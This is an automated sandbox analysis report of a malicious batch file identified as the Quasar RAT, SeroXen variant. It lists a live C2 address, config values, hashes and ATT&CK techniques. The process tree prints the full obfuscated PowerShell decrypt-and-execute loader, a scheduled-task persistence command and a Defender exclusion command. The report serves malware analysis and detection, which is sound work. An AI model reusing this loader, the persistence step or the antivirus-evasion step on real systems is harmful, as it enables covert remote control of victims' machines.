Analysis

  • max time kernel
    133s
  • max time network
    136s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    28-04-2024 16:13

General

  • Target

    rename me.bat

  • Size

    328KB

  • MD5

    aeb5d5210a55384c6019bc889ab2712a

  • SHA1

    524094d4dc90b48c110e24b26aa6cebbf15937cf

  • SHA256

    3f077245d055648ee67c8597d813805f43a1a750abf17b6597ec49e6e61bba1e

  • SHA512

    2e71352ad66c150a217784f0eeec50d001eef3fa60be33dd98bec3503dc0356b8e6b6df4042e1bddfb4933b25ba5c9a4202450eb6604ae00bb48a1495f54910f

  • SSDEEP

    6144:v49D8DR1G9Pj1pP+irNTVDxmev+lcvhEvLpPxJMRLRsvjoOo50AqPJNIA3OiL5O9:v49DuPGtjP+irnDIev+lcv2pxLjoOoOq

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen

C2

147.185.221.19:33587

Mutex

$Sxr-2rfrZTKITtK0P0zGYG

Attributes
  • encryption_key

    Yr0YpBPNd3kXsl43jZMx

  • install_name

    $sxr-sdinwn.exe

  • log_directory

    $sxr

  • reconnect_delay

    3000

  • startup_key

    $sxr-metsha

  • subdirectory

    sxr

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rename me.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2916
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c9cTBUxEQ3bkhNltovJO4VlBnFPtuZDAn3tKbTZM170='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q2umC619B9pCpnnAKCTQLg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FSGQo=New-Object System.IO.MemoryStream(,$param_var); $zrACb=New-Object System.IO.MemoryStream; $JlDkU=New-Object System.IO.Compression.GZipStream($FSGQo, [IO.Compression.CompressionMode]::Decompress); $JlDkU.CopyTo($zrACb); $JlDkU.Dispose(); $FSGQo.Dispose(); $zrACb.Dispose(); $zrACb.ToArray();}function execute_function($param_var,$param2_var){ $abVXg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NJXTr=$abVXg.EntryPoint; $NJXTr.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\rename me.bat';$EvryY=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\rename me.bat').Split([Environment]::NewLine);foreach ($rkrqt in $EvryY) { if ($rkrqt.StartsWith(':: ')) { $xqxsV=$rkrqt.Substring(3); break; }}$payloads_var=[string[]]$xqxsV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Blocklisted process makes network request
      • Drops file in Drivers directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4572
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks" /create /tn "$sxr-metsha" /sc ONLOGON /tr "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" /rl HIGHEST /f
        3⤵
        • Creates scheduled task(s)
        PID:2756
      • C:\Users\Admin\AppData\Roaming\sxr\$sxr-sdinwn.exe
        "C:\Users\Admin\AppData\Roaming\sxr\$sxr-sdinwn.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5088
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath (Get-Item -LiteralPath $env:SystemRoot).Root"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3580
      • C:\Windows\SysWOW64\ipconfig.exe
        "C:\Windows\System32\ipconfig.exe" /flushdns
        3⤵
        • Gathers network information
        PID:3984

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Scheduled Task/Job

1
T1053

Command and Scripting Interpreter

1
T1059

Persistence

Scheduled Task/Job

1
T1053

Privilege Escalation

Scheduled Task/Job

1
T1053

Discovery

System Information Discovery

1
T1082

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    ad22c362535a6830bf5798c858ea2a77

    SHA1

    939d20c59171a7cfc1cecd62987719c74070cd08

    SHA256

    6ad92cb2744b4e9b94223638128d06ffcbbad970c8b938ea565139c6e7d2821a

    SHA512

    f019d54ab7a5c341cc5d3c0dd31305f56a963d293987f2fd8599d9110a1990f250095057dc4e6cb52faf7bef2e57363083cb15356f224519d9252f70ec1e094b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    18KB

    MD5

    93a9dd3f5fd3da2e148ea04cd291d181

    SHA1

    e3f32726eadb9b4260924fc1c683cc12e3cddae6

    SHA256

    41bd47a40e28db25ef627fd1e33a2ac24cf3da7841f865ca03997d8e41b08329

    SHA512

    283eb27594792560385388a886d151b01a7a9f968da9362aae876999430a40f3a1960ce129cf56a30ce33e3b914d5be80915dda07a260f798a1a0d514ae845ad

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ywph1np.vl2.ps1
    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Roaming\sxr\$sxr-sdinwn.exe
    Filesize

    420KB

    MD5

    be8ffebe1c4b5e18a56101a3c0604ea0

    SHA1

    2ec8af7c1538974d64291845dcb02111b907770f

    SHA256

    d2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5

    SHA512

    71008aa20932c8ecf48582d3b9678ba184e99d482daec9287a124f20af7184f1b02f800e2bdc83f6eb45832af6fdce88bfaf0e3398c617812969d0d27750fdeb

  • memory/3580-338-0x00000000091D0000-0x00000000091D8000-memory.dmp
    Filesize

    32KB

  • memory/3580-333-0x00000000091F0000-0x000000000920A000-memory.dmp
    Filesize

    104KB

  • memory/3580-136-0x0000000009070000-0x0000000009115000-memory.dmp
    Filesize

    660KB

  • memory/3580-129-0x0000000008F10000-0x0000000008F2E000-memory.dmp
    Filesize

    120KB

  • memory/3580-118-0x00000000706D0000-0x000000007071B000-memory.dmp
    Filesize

    300KB

  • memory/3580-109-0x0000000008F30000-0x0000000008F63000-memory.dmp
    Filesize

    204KB

  • memory/3580-102-0x0000000008D20000-0x0000000008D42000-memory.dmp
    Filesize

    136KB

  • memory/3580-101-0x0000000008DC0000-0x0000000008E54000-memory.dmp
    Filesize

    592KB

  • memory/4572-12-0x00000000086F0000-0x000000000873B000-memory.dmp
    Filesize

    300KB

  • memory/4572-208-0x00000000739F0000-0x00000000740DE000-memory.dmp
    Filesize

    6.9MB

  • memory/4572-29-0x0000000009D10000-0x000000000A388000-memory.dmp
    Filesize

    6.5MB

  • memory/4572-30-0x0000000009270000-0x000000000928A000-memory.dmp
    Filesize

    104KB

  • memory/4572-31-0x00000000092B0000-0x00000000092B8000-memory.dmp
    Filesize

    32KB

  • memory/4572-32-0x00000000094F0000-0x0000000009530000-memory.dmp
    Filesize

    256KB

  • memory/4572-33-0x0000000009710000-0x000000000977E000-memory.dmp
    Filesize

    440KB

  • memory/4572-34-0x000000000A390000-0x000000000A88E000-memory.dmp
    Filesize

    5.0MB

  • memory/4572-35-0x0000000009820000-0x00000000098B2000-memory.dmp
    Filesize

    584KB

  • memory/4572-36-0x0000000007050000-0x0000000007062000-memory.dmp
    Filesize

    72KB

  • memory/4572-37-0x0000000009780000-0x00000000097BE000-memory.dmp
    Filesize

    248KB

  • memory/4572-13-0x0000000008500000-0x0000000008576000-memory.dmp
    Filesize

    472KB

  • memory/4572-3-0x00000000739F0000-0x00000000740DE000-memory.dmp
    Filesize

    6.9MB

  • memory/4572-4-0x0000000004F50000-0x0000000004F60000-memory.dmp
    Filesize

    64KB

  • memory/4572-5-0x0000000004F50000-0x0000000004F60000-memory.dmp
    Filesize

    64KB

  • memory/4572-6-0x00000000075E0000-0x0000000007C08000-memory.dmp
    Filesize

    6.2MB

  • memory/4572-2-0x0000000004D00000-0x0000000004D36000-memory.dmp
    Filesize

    216KB

  • memory/4572-11-0x0000000007D10000-0x0000000007D2C000-memory.dmp
    Filesize

    112KB

  • memory/4572-10-0x0000000007DD0000-0x0000000008120000-memory.dmp
    Filesize

    3.3MB

  • memory/4572-9-0x0000000007D60000-0x0000000007DC6000-memory.dmp
    Filesize

    408KB

  • memory/4572-8-0x0000000007C10000-0x0000000007C76000-memory.dmp
    Filesize

    408KB

  • memory/4572-7-0x0000000007440000-0x0000000007462000-memory.dmp
    Filesize

    136KB

  • memory/4572-24-0x0000000004F50000-0x0000000004F60000-memory.dmp
    Filesize

    64KB

  • memory/5088-82-0x00000000089E0000-0x0000000008A1C000-memory.dmp
    Filesize

    240KB

  • memory/5088-50-0x0000000004C30000-0x0000000004C40000-memory.dmp
    Filesize

    64KB

  • memory/5088-51-0x0000000004C30000-0x0000000004C40000-memory.dmp
    Filesize

    64KB

  • memory/5088-49-0x00000000739F0000-0x00000000740DE000-memory.dmp
    Filesize

    6.9MB

  • memory/5088-356-0x00000000739F0000-0x00000000740DE000-memory.dmp
    Filesize

    6.9MB

  • memory/5088-358-0x0000000004C30000-0x0000000004C40000-memory.dmp
    Filesize

    64KB

  • memory/5088-357-0x0000000004C30000-0x0000000004C40000-memory.dmp
    Filesize

    64KB